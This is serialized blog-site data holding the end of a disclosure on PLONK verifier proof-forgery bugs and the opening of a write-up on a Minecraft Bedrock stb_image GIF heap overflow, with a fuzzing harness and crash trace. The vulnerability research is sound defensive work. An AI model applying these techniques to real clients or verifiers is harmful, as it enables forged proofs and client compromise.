",{"type":24,"tag":32,"props":148676,"children":148678},{"className":148677},[6368,6369],[148679],{"type":24,"tag":90,"props":148680,"children":148682},{"className":148681},[6374],[148683],{"type":24,"tag":90,"props":148684,"children":148686},{"className":148685,"ariaHidden":6380},[6379],[148687],{"type":24,"tag":90,"props":148688,"children":148690},{"className":148689},[6385],[148691,148695],{"type":24,"tag":90,"props":148692,"children":148694},{"className":148693,"style":112718},[6390],[],{"type":24,"tag":90,"props":148696,"children":148698},{"className":148697,"style":95363},[6396,23384],[148699],{"type":29,"value":115781},{"type":29,"value":148701}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":24,"tag":32,"props":148703,"children":148705},{"className":148704},[6368,6369],[148706],{"type":24,"tag":90,"props":148707,"children":148709},{"className":148708},[6374],[148710],{"type":24,"tag":90,"props":148711,"children":148713},{"className":148712,"ariaHidden":6380},[6379],[148714],{"type":24,"tag":90,"props":148715,"children":148717},{"className":148716},[6385],[148718,148722],{"type":24,"tag":90,"props":148719,"children":148721},{"className":148720,"style":112718},[6390],[],{"type":24,"tag":90,"props":148723,"children":148725},{"className":148724,"style":95363},[6396,23384],[148726],{"type":29,"value":115781},{"type":29,"value":148728},", so the prover can adjust them after the fact to make the check pass.",{"type":24,"tag":25,"props":148730,"children":148731},{},[148732,148734,148740,148742,148748],{"type":29,"value":148733},"The attack requires modifying a single evaluation (",{"type":24,"tag":32,"props":148735,"children":148737},{"className":148736},[],[148738],{"type":29,"value":148739},"key_table_next_eval",{"type":29,"value":148741},") by ",{"type":24,"tag":32,"props":148743,"children":148745},{"className":148744},[],[148746],{"type":29,"value":148747},"delta / (u * v^3)",{"type":29,"value":148749}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":24,"tag":25,"props":148751,"children":148752},{},[148753,148755,148762,148764,148775],{"type":29,"value":148754},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":24,"tag":69,"props":148756,"children":148759},{"href":148757,"rel":148758},"https://github.com/EspressoSystems/jellyfish/pull/867",[73],[148760],{"type":29,"value":148761},"PR #867",{"type":29,"value":148763}," fixed the issue and was tagged as ",{"type":24,"tag":69,"props":148765,"children":148768},{"href":148766,"rel":148767},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[73],[148769],{"type":24,"tag":32,"props":148770,"children":148772},{"className":148771},[],[148773],{"type":29,"value":148774},"jf-plonk-v0.8.0",{"type":29,"value":148776}," on March 18, 2026.",{"type":24,"tag":20586,"props":148778,"children":148779},{},[],{"type":24,"tag":850,"props":148781,"children":148783},{"id":148782},"toward-standardization",[148784],{"type":29,"value":148785},"Toward standardization",{"type":24,"tag":25,"props":148787,"children":148788},{},[148789,148791,148798],{"type":29,"value":148790},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":24,"tag":69,"props":148792,"children":148795},{"href":148793,"rel":148794},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[73],[148796],{"type":29,"value":148797},"similar patterns appear across zkVMs",{"type":29,"value":148799},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":24,"tag":25,"props":148801,"children":148802},{},[148803],{"type":29,"value":148804},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":24,"tag":25,"props":148806,"children":148807},{},[148808],{"type":29,"value":148809},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":24,"tag":850,"props":148811,"children":148812},{"id":62649},[148813],{"type":29,"value":148814},"Disclosure timeline",{"type":24,"tag":57569,"props":148816,"children":148817},{},[148818,148834],{"type":24,"tag":124828,"props":148819,"children":148820},{},[148821],{"type":24,"tag":124832,"props":148822,"children":148823},{},[148824,148829],{"type":24,"tag":124836,"props":148825,"children":148826},{},[148827],{"type":29,"value":148828},"Date",{"type":24,"tag":124836,"props":148830,"children":148831},{},[148832],{"type":29,"value":148833},"Event",{"type":24,"tag":124856,"props":148835,"children":148836},{},[148837,148850,148863,148875,148901,148921],{"type":24,"tag":124832,"props":148838,"children":148839},{},[148840,148845],{"type":24,"tag":124863,"props":148841,"children":148842},{},[148843],{"type":29,"value":148844},"2026-02-13",{"type":24,"tag":124863,"props":148846,"children":148847},{},[148848],{"type":29,"value":148849},"Dusk vulnerability reported",{"type":24,"tag":124832,"props":148851,"children":148852},{},[148853,148858],{"type":24,"tag":124863,"props":148854,"children":148855},{},[148856],{"type":29,"value":148857},"2026-02-14",{"type":24,"tag":124863,"props":148859,"children":148860},{},[148861],{"type":29,"value":148862},"Dusk acknowledged",{"type":24,"tag":124832,"props":148864,"children":148865},{},[148866,148870],{"type":24,"tag":124863,"props":148867,"children":148868},{},[148869],{"type":29,"value":148857},{"type":24,"tag":124863,"props":148871,"children":148872},{},[148873],{"type":29,"value":148874},"Dusk fix committed",{"type":24,"tag":124832,"props":148876,"children":148877},{},[148878,148883],{"type":24,"tag":124863,"props":148879,"children":148880},{},[148881],{"type":29,"value":148882},"2026-02-27",{"type":24,"tag":124863,"props":148884,"children":148885},{},[148886,148888,148899],{"type":29,"value":148887},"Public ",{"type":24,"tag":69,"props":148889,"children":148892},{"href":148890,"rel":148891},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[73],[148893],{"type":24,"tag":32,"props":148894,"children":148896},{"className":148895},[],[148897],{"type":29,"value":148898},"dusk-rusk-1.6.0",{"type":29,"value":148900}," release published",{"type":24,"tag":124832,"props":148902,"children":148903},{},[148904,148909],{"type":24,"tag":124863,"props":148905,"children":148906},{},[148907],{"type":29,"value":148908},"2026-03-16",{"type":24,"tag":124863,"props":148910,"children":148911},{},[148912,148914,148920],{"type":29,"value":148913},"Jellyfish fix PR opened (",{"type":24,"tag":69,"props":148915,"children":148917},{"href":148757,"rel":148916},[73],[148918],{"type":29,"value":148919},"#867",{"type":29,"value":517},{"type":24,"tag":124832,"props":148922,"children":148923},{},[148924,148929],{"type":24,"tag":124863,"props":148925,"children":148926},{},[148927],{"type":29,"value":148928},"2026-03-18",{"type":24,"tag":124863,"props":148930,"children":148931},{},[148932,148934,148939,148941],{"type":29,"value":148933},"Jellyfish fix merged in ",{"type":24,"tag":69,"props":148935,"children":148937},{"href":148757,"rel":148936},[73],[148938],{"type":29,"value":148919},{"type":29,"value":148940}," and tagged as ",{"type":24,"tag":69,"props":148942,"children":148944},{"href":148766,"rel":148943},[73],[148945],{"type":24,"tag":32,"props":148946,"children":148948},{"className":148947},[],[148949],{"type":29,"value":148774},{"type":24,"tag":850,"props":148951,"children":148953},{"id":148952},"acknowledgements",[148954],{"type":29,"value":148955},"Acknowledgements",{"type":24,"tag":25,"props":148957,"children":148958},{},[148959],{"type":29,"value":148960},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":200,"depth":200,"links":148962},[148963,148970,148971,148972,148973,148974,148975,148976,148977,148978,148979,148980],{"id":143780,"depth":200,"text":143783,"children":148964},[148965,148966,148967,148968,148969],{"id":143805,"depth":239,"text":143808},{"id":144608,"depth":239,"text":144611},{"id":145806,"depth":239,"text":145809},{"id":145836,"depth":239,"text":145839},{"id":146117,"depth":239,"text":146120},{"id":146850,"depth":200,"text":146853},{"id":146988,"depth":200,"text":146991},{"id":92131,"depth":200,"text":147619},{"id":148218,"depth":200,"text":148221},{"id":148355,"depth":200,"text":148358},{"id":148470,"depth":200,"text":148473},{"id":148563,"depth":200,"text":148566},{"id":148630,"depth":200,"text":148633},{"id":148782,"depth":200,"text":148785},{"id":62649,"depth":200,"text":148814},{"id":148952,"depth":200,"text":148955},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":148985,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":148986,"description":148987,"date":148988,"author":125487,"image":148989,"isFeatured":16,"onBlogPage":16,"tags":148991,"body":148994,"_type":5270,"_id":158374,"_source":5272,"_file":158375,"_stem":158376,"_extension":5275},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":148990,"width":99098,"height":14},"/posts/minecraft-heap-overflow-to-rce/title.png",[148992,148993],"minecraft","rce",{"type":21,"children":148995,"toc":158351},[148996,149001,149006,149011,149017,149022,149041,149046,149052,149057,149062,149068,149073,149078,149083,149089,149094,149099,149105,149125,149137,149144,149166,149180,149187,149193,149203,149223,149228,149234,149247,149592,149597,149605,149611,149630,149938,149966,150009,150021,150029,150034,150503,150522,150543,150885,150909,151181,151205,151232,151441,151460,151468,151487,151493,151555,151558,151580,151584,151589,151594,151600,151605,151619,151625,151639,151645,151658,151663,151671,151676,151682,151703,151711,151724,151727,151732,151746,151751,151756,151762,151767,151790,151795,151801,151806,151818,151830,151944,151964,151969,151974,151980,151985,152005,152620,152633,153707,153712,153720,153725,153731,153736,153744,153757,153762,153767,153774,153787,153792,153799,153854,153874,153881,153900,153907,153910,153915,153920,153926,153938,153951,153959,154030,154041,154075,154083,154088,154093,154099,154111,154130,154142,154147,154155,154174,154182,154201,154209,154235,154243,154248,154256,154261,154269,154272,154277,154282,154288,154301,154319,154357,154387,154395,154400,154406,154411,154416,154422,154434,154603,154615,154623,154628,154635,154640,154701,154748,154760,154765,154791,154865,154903,154908,154916,154937,154942,154968,155002,155055,155102,155108,155127,155159,155167,155270,155341,155347,155373,155380,155385,155392,155397,155638,155664,155669,155717,155722,155728,155760,155772,155804,155812,155851,155859,155864,155872,155877,155885,155897,155905,155917,155925,155937,155957,155963,155983,156000,156008,156020,156028,156047,156052,156060,156065,156073,156099,156110,156117,156122,156130,156135,156143,156148,156156,156161,156169,156174,156182,156187,156195,156236,156243,156248,156256,156261,156269,156274,156282,156287,156292,156300,156305,156313,156339,156347,156373,156381,156386,156394,156399,156407,156415,156420,156428,156433,156441,156444,156455,156489,156507,156515,156535,156541,156560,156618,156638,156646,156649,156688,156748,156753,156759,156772,156780,156832,156871,156879,156912,156915,156935,156943,156949,156954,156962,157002,157043,157063,157068,157073,157091,157097,157102,157121,157182,157190,157216,157222,157242,157247,157252,157259,157324,157329,157336,157357,157362,157374,157380,157413,157420,157425,157453,157460,157516,157528,157535,157596,157615,157621,157655,157676,157703,157711,157764,157834,157840,157860,157903,157908,158306,158312,158317,158328,158332,158337,158342,158347],{"type":24,"tag":37188,"props":148997,"children":148999},{"id":148998},"pwning-minecraft-4-byte-heap-overflow-to-rce",[149000],{"type":29,"value":148986},{"type":24,"tag":25,"props":149002,"children":149003},{},[149004],{"type":29,"value":149005},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":24,"tag":25,"props":149007,"children":149008},{},[149009],{"type":29,"value":149010},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":24,"tag":850,"props":149012,"children":149014},{"id":149013},"the-target",[149015],{"type":29,"value":149016},"The Target",{"type":24,"tag":25,"props":149018,"children":149019},{},[149020],{"type":29,"value":149021},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":24,"tag":25,"props":149023,"children":149024},{},[149025,149027,149032,149034,149039],{"type":29,"value":149026},"There are two main editions: ",{"type":24,"tag":7711,"props":149028,"children":149029},{},[149030],{"type":29,"value":149031},"Minecraft Java Edition",{"type":29,"value":149033},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":24,"tag":7711,"props":149035,"children":149036},{},[149037],{"type":29,"value":149038},"Minecraft Bedrock Edition",{"type":29,"value":149040},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":24,"tag":25,"props":149042,"children":149043},{},[149044],{"type":29,"value":149045},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":24,"tag":1019,"props":149047,"children":149049},{"id":149048},"choice-of-context",[149050],{"type":29,"value":149051},"Choice of Context",{"type":24,"tag":25,"props":149053,"children":149054},{},[149055],{"type":29,"value":149056},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":24,"tag":25,"props":149058,"children":149059},{},[149060],{"type":29,"value":149061},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":24,"tag":1019,"props":149063,"children":149065},{"id":149064},"resource-packs",[149066],{"type":29,"value":149067},"Resource Packs",{"type":24,"tag":25,"props":149069,"children":149070},{},[149071],{"type":29,"value":149072},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":24,"tag":25,"props":149074,"children":149075},{},[149076],{"type":29,"value":149077},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":24,"tag":25,"props":149079,"children":149080},{},[149081],{"type":29,"value":149082},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":24,"tag":850,"props":149084,"children":149086},{"id":149085},"finding-a-memory-corruption-bug",[149087],{"type":29,"value":149088},"Finding a Memory Corruption Bug",{"type":24,"tag":25,"props":149090,"children":149091},{},[149092],{"type":29,"value":149093},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":24,"tag":25,"props":149095,"children":149096},{},[149097],{"type":29,"value":149098},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":24,"tag":1019,"props":149100,"children":149102},{"id":149101},"locating-image-parsing-code",[149103],{"type":29,"value":149104},"Locating Image Parsing Code",{"type":24,"tag":25,"props":149106,"children":149107},{},[149108,149110,149116,149117,149123],{"type":29,"value":149109},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":24,"tag":32,"props":149111,"children":149113},{"className":149112},[],[149114],{"type":29,"value":149115},"PNG",{"type":29,"value":15499},{"type":24,"tag":32,"props":149118,"children":149120},{"className":149119},[],[149121],{"type":29,"value":149122},"GIF",{"type":29,"value":149124}," and look for error logging or other messages that use those substrings.",{"type":24,"tag":25,"props":149126,"children":149127},{},[149128,149130,149135],{"type":29,"value":149129},"Searching for the string ",{"type":24,"tag":32,"props":149131,"children":149133},{"className":149132},[],[149134],{"type":29,"value":149122},{"type":29,"value":149136}," returned some interesting results:",{"type":24,"tag":25,"props":149138,"children":149139},{},[149140],{"type":24,"tag":6301,"props":149141,"children":149143},{"alt":52402,"src":149142},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":24,"tag":25,"props":149145,"children":149146},{},[149147,149149,149156,149158,149165],{"type":29,"value":149148},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":24,"tag":69,"props":149150,"children":149153},{"href":149151,"rel":149152},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[73],[149154],{"type":29,"value":149155},"stb_image.h",{"type":29,"value":149157},". For an example: usage of ",{"type":24,"tag":69,"props":149159,"children":149162},{"href":149160,"rel":149161},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[73],[149163],{"type":29,"value":149164},"bad Image Descriptor",{"type":29,"value":226},{"type":24,"tag":25,"props":149167,"children":149168},{},[149169,149171,149178],{"type":29,"value":149170},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":24,"tag":69,"props":149172,"children":149175},{"href":149173,"rel":149174},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[73],[149176],{"type":29,"value":149177},"stbi__gif_load_next",{"type":29,"value":149179},", and loaded the resource pack - this confirmed its usage:",{"type":24,"tag":25,"props":149181,"children":149182},{},[149183],{"type":24,"tag":6301,"props":149184,"children":149186},{"alt":52402,"src":149185},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":24,"tag":1019,"props":149188,"children":149190},{"id":149189},"stb-image-library",[149191],{"type":29,"value":149192},"STB Image Library",{"type":24,"tag":25,"props":149194,"children":149195},{},[149196,149201],{"type":24,"tag":32,"props":149197,"children":149199},{"className":149198},[],[149200],{"type":29,"value":149155},{"type":29,"value":149202}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":24,"tag":25,"props":149204,"children":149205},{},[149206,149208,149213,149215,149222],{"type":29,"value":149207},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":24,"tag":32,"props":149209,"children":149211},{"className":149210},[],[149212],{"type":29,"value":149155},{"type":29,"value":149214}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":24,"tag":69,"props":149216,"children":149219},{"href":149217,"rel":149218},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[73],[149220],{"type":29,"value":149221},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":29,"value":226},{"type":24,"tag":25,"props":149224,"children":149225},{},[149226],{"type":29,"value":149227},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":24,"tag":20686,"props":149229,"children":149231},{"id":149230},"fuzzing",[149232],{"type":29,"value":149233},"Fuzzing",{"type":24,"tag":25,"props":149235,"children":149236},{},[149237,149239,149246],{"type":29,"value":149238},"The fuzzer consisted of a very simple ",{"type":24,"tag":69,"props":149240,"children":149243},{"href":149241,"rel":149242},"https://github.com/AFLplusplus/AFLplusplus",[73],[149244],{"type":29,"value":149245},"AFL++",{"type":29,"value":28550},{"type":24,"tag":80,"props":149248,"children":149250},{"code":149249,"language":3030,"meta":7,"className":3028,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n int x, y, comp;\n unsigned char *ret;\n\n if (argc != 2) {\n return 1;\n }\n\n ret = stbi_load(argv[1], &x, &y, &comp, 0);\n if (ret == NULL) {\n return 1;\n }\n \n stbi_image_free(ret);\n\n return 0;\n}\n",[149251],{"type":24,"tag":32,"props":149252,"children":149253},{"__ignoreMap":7},[149254,149267,149279,149286,149332,149344,149365,149372,149396,149411,149418,149425,149497,149521,149536,149543,149550,149563,149570,149585],{"type":24,"tag":90,"props":149255,"children":149256},{"class":92,"line":93},[149257,149262],{"type":24,"tag":90,"props":149258,"children":149259},{"style":636},[149260],{"type":29,"value":149261},"#define",{"type":24,"tag":90,"props":149263,"children":149264},{"style":108},[149265],{"type":29,"value":149266}," STB_IMAGE_IMPLEMENTATION\n",{"type":24,"tag":90,"props":149268,"children":149269},{"class":92,"line":200},[149270,149274],{"type":24,"tag":90,"props":149271,"children":149272},{"style":636},[149273],{"type":29,"value":92245},{"type":24,"tag":90,"props":149275,"children":149276},{"style":1085},[149277],{"type":29,"value":149278}," \"./stb/stb_image.h\"\n",{"type":24,"tag":90,"props":149280,"children":149281},{"class":92,"line":239},[149282],{"type":24,"tag":90,"props":149283,"children":149284},{"emptyLinePlaceholder":16},[149285],{"type":29,"value":245},{"type":24,"tag":90,"props":149287,"children":149288},{"class":92,"line":248},[149289,149293,149297,149301,149305,149310,149314,149319,149323,149328],{"type":24,"tag":90,"props":149290,"children":149291},{"style":97},[149292],{"type":29,"value":20841},{"type":24,"tag":90,"props":149294,"children":149295},{"style":108},[149296],{"type":29,"value":92610},{"type":24,"tag":90,"props":149298,"children":149299},{"style":114},[149300],{"type":29,"value":117},{"type":24,"tag":90,"props":149302,"children":149303},{"style":97},[149304],{"type":29,"value":20841},{"type":24,"tag":90,"props":149306,"children":149307},{"style":136},[149308],{"type":29,"value":149309}," argc",{"type":24,"tag":90,"props":149311,"children":149312},{"style":114},[149313],{"type":29,"value":133},{"type":24,"tag":90,"props":149315,"children":149316},{"style":97},[149317],{"type":29,"value":149318},"char",{"type":24,"tag":90,"props":149320,"children":149321},{"style":120},[149322],{"type":29,"value":91711},{"type":24,"tag":90,"props":149324,"children":149325},{"style":136},[149326],{"type":29,"value":149327},"argv",{"type":24,"tag":90,"props":149329,"children":149330},{"style":114},[149331],{"type":29,"value":1297},{"type":24,"tag":90,"props":149333,"children":149334},{"class":92,"line":258},[149335,149339],{"type":24,"tag":90,"props":149336,"children":149337},{"style":97},[149338],{"type":29,"value":20871},{"type":24,"tag":90,"props":149340,"children":149341},{"style":114},[149342],{"type":29,"value":149343}," x, y, comp;\n",{"type":24,"tag":90,"props":149345,"children":149346},{"class":92,"line":272},[149347,149352,149356,149360],{"type":24,"tag":90,"props":149348,"children":149349},{"style":97},[149350],{"type":29,"value":149351}," unsigned",{"type":24,"tag":90,"props":149353,"children":149354},{"style":97},[149355],{"type":29,"value":60874},{"type":24,"tag":90,"props":149357,"children":149358},{"style":120},[149359],{"type":29,"value":366},{"type":24,"tag":90,"props":149361,"children":149362},{"style":114},[149363],{"type":29,"value":149364},"ret;\n",{"type":24,"tag":90,"props":149366,"children":149367},{"class":92,"line":281},[149368],{"type":24,"tag":90,"props":149369,"children":149370},{"emptyLinePlaceholder":16},[149371],{"type":29,"value":245},{"type":24,"tag":90,"props":149373,"children":149374},{"class":92,"line":384},[149375,149379,149384,149388,149392],{"type":24,"tag":90,"props":149376,"children":149377},{"style":636},[149378],{"type":29,"value":639},{"type":24,"tag":90,"props":149380,"children":149381},{"style":114},[149382],{"type":29,"value":149383}," (argc ",{"type":24,"tag":90,"props":149385,"children":149386},{"style":120},[149387],{"type":29,"value":2196},{"type":24,"tag":90,"props":149389,"children":149390},{"style":349},[149391],{"type":29,"value":10312},{"type":24,"tag":90,"props":149393,"children":149394},{"style":114},[149395],{"type":29,"value":1297},{"type":24,"tag":90,"props":149397,"children":149398},{"class":92,"line":420},[149399,149403,149407],{"type":24,"tag":90,"props":149400,"children":149401},{"style":636},[149402],{"type":29,"value":2253},{"type":24,"tag":90,"props":149404,"children":149405},{"style":349},[149406],{"type":29,"value":6909},{"type":24,"tag":90,"props":149408,"children":149409},{"style":114},[149410],{"type":29,"value":381},{"type":24,"tag":90,"props":149412,"children":149413},{"class":92,"line":428},[149414],{"type":24,"tag":90,"props":149415,"children":149416},{"style":114},[149417],{"type":29,"value":612},{"type":24,"tag":90,"props":149419,"children":149420},{"class":92,"line":437},[149421],{"type":24,"tag":90,"props":149422,"children":149423},{"emptyLinePlaceholder":16},[149424],{"type":29,"value":245},{"type":24,"tag":90,"props":149426,"children":149427},{"class":92,"line":574},[149428,149433,149437,149442,149446,149450,149454,149458,149462,149466,149471,149475,149480,149484,149489,149493],{"type":24,"tag":90,"props":149429,"children":149430},{"style":114},[149431],{"type":29,"value":149432}," ret ",{"type":24,"tag":90,"props":149434,"children":149435},{"style":120},[149436],{"type":29,"value":5491},{"type":24,"tag":90,"props":149438,"children":149439},{"style":108},[149440],{"type":29,"value":149441}," stbi_load",{"type":24,"tag":90,"props":149443,"children":149444},{"style":114},[149445],{"type":29,"value":117},{"type":24,"tag":90,"props":149447,"children":149448},{"style":136},[149449],{"type":29,"value":149327},{"type":24,"tag":90,"props":149451,"children":149452},{"style":114},[149453],{"type":29,"value":719},{"type":24,"tag":90,"props":149455,"children":149456},{"style":349},[149457],{"type":29,"value":534},{"type":24,"tag":90,"props":149459,"children":149460},{"style":114},[149461],{"type":29,"value":24857},{"type":24,"tag":90,"props":149463,"children":149464},{"style":120},[149465],{"type":29,"value":123},{"type":24,"tag":90,"props":149467,"children":149468},{"style":114},[149469],{"type":29,"value":149470},"x, ",{"type":24,"tag":90,"props":149472,"children":149473},{"style":120},[149474],{"type":29,"value":123},{"type":24,"tag":90,"props":149476,"children":149477},{"style":114},[149478],{"type":29,"value":149479},"y, ",{"type":24,"tag":90,"props":149481,"children":149482},{"style":120},[149483],{"type":29,"value":123},{"type":24,"tag":90,"props":149485,"children":149486},{"style":114},[149487],{"type":29,"value":149488},"comp, ",{"type":24,"tag":90,"props":149490,"children":149491},{"style":349},[149492],{"type":29,"value":6408},{"type":24,"tag":90,"props":149494,"children":149495},{"style":114},[149496],{"type":29,"value":571},{"type":24,"tag":90,"props":149498,"children":149499},{"class":92,"line":606},[149500,149504,149509,149513,149517],{"type":24,"tag":90,"props":149501,"children":149502},{"style":636},[149503],{"type":29,"value":639},{"type":24,"tag":90,"props":149505,"children":149506},{"style":114},[149507],{"type":29,"value":149508}," (ret ",{"type":24,"tag":90,"props":149510,"children":149511},{"style":120},[149512],{"type":29,"value":10951},{"type":24,"tag":90,"props":149514,"children":149515},{"style":97},[149516],{"type":29,"value":129600},{"type":24,"tag":90,"props":149518,"children":149519},{"style":114},[149520],{"type":29,"value":1297},{"type":24,"tag":90,"props":149522,"children":149523},{"class":92,"line":615},[149524,149528,149532],{"type":24,"tag":90,"props":149525,"children":149526},{"style":636},[149527],{"type":29,"value":2253},{"type":24,"tag":90,"props":149529,"children":149530},{"style":349},[149531],{"type":29,"value":6909},{"type":24,"tag":90,"props":149533,"children":149534},{"style":114},[149535],{"type":29,"value":381},{"type":24,"tag":90,"props":149537,"children":149538},{"class":92,"line":623},[149539],{"type":24,"tag":90,"props":149540,"children":149541},{"style":114},[149542],{"type":29,"value":612},{"type":24,"tag":90,"props":149544,"children":149545},{"class":92,"line":632},[149546],{"type":24,"tag":90,"props":149547,"children":149548},{"style":114},[149549],{"type":29,"value":63612},{"type":24,"tag":90,"props":149551,"children":149552},{"class":92,"line":669},[149553,149558],{"type":24,"tag":90,"props":149554,"children":149555},{"style":108},[149556],{"type":29,"value":149557}," stbi_image_free",{"type":24,"tag":90,"props":149559,"children":149560},{"style":114},[149561],{"type":29,"value":149562},"(ret);\n",{"type":24,"tag":90,"props":149564,"children":149565},{"class":92,"line":683},[149566],{"type":24,"tag":90,"props":149567,"children":149568},{"emptyLinePlaceholder":16},[149569],{"type":29,"value":245},{"type":24,"tag":90,"props":149571,"children":149572},{"class":92,"line":737},[149573,149577,149581],{"type":24,"tag":90,"props":149574,"children":149575},{"style":636},[149576],{"type":29,"value":3510},{"type":24,"tag":90,"props":149578,"children":149579},{"style":349},[149580],{"type":29,"value":5448},{"type":24,"tag":90,"props":149582,"children":149583},{"style":114},[149584],{"type":29,"value":381},{"type":24,"tag":90,"props":149586,"children":149587},{"class":92,"line":751},[149588],{"type":24,"tag":90,"props":149589,"children":149590},{"style":114},[149591],{"type":29,"value":827},{"type":24,"tag":25,"props":149593,"children":149594},{},[149595],{"type":29,"value":149596},"And soon after starting the fuzzer it found an interesting bug:",{"type":24,"tag":80,"props":149598,"children":149600},{"code":149599},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n [...]\n #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n [...]\n",[149601],{"type":24,"tag":32,"props":149602,"children":149603},{"__ignoreMap":7},[149604],{"type":29,"value":149599},{"type":24,"tag":20686,"props":149606,"children":149608},{"id":149607},"investigating-the-finding",[149609],{"type":29,"value":149610},"Investigating the Finding",{"type":24,"tag":25,"props":149612,"children":149613},{},[149614,149616,149622,149623,149628],{"type":29,"value":149615},"The ASAN output shows that at line ",{"type":24,"tag":32,"props":149617,"children":149619},{"className":149618},[],[149620],{"type":29,"value":149621},"6233",{"type":29,"value":145122},{"type":24,"tag":32,"props":149624,"children":149626},{"className":149625},[],[149627],{"type":29,"value":149155},{"type":29,"value":149629}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":24,"tag":80,"props":149631,"children":149633},{"code":149632,"language":3030,"meta":7,"className":3028,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n stbi_uc *p, *c;\n int idx; \n\n [...]\n\n if (g->cur_y >= g->max_y) return;\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; // OOB 